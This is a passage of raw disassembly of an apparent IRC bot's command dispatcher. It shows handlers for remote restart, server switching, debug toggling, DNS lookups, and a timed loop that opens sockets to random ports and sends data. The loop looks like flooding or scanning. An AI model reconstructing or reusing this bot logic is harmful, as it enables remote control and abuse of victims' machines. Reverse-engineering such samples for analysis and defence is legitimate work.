
loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41ED18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		push	offset dword_41DA80
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DE00


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DE08, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DE08, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DE08, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE00


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DE5C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE00


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DE5C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DC00
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
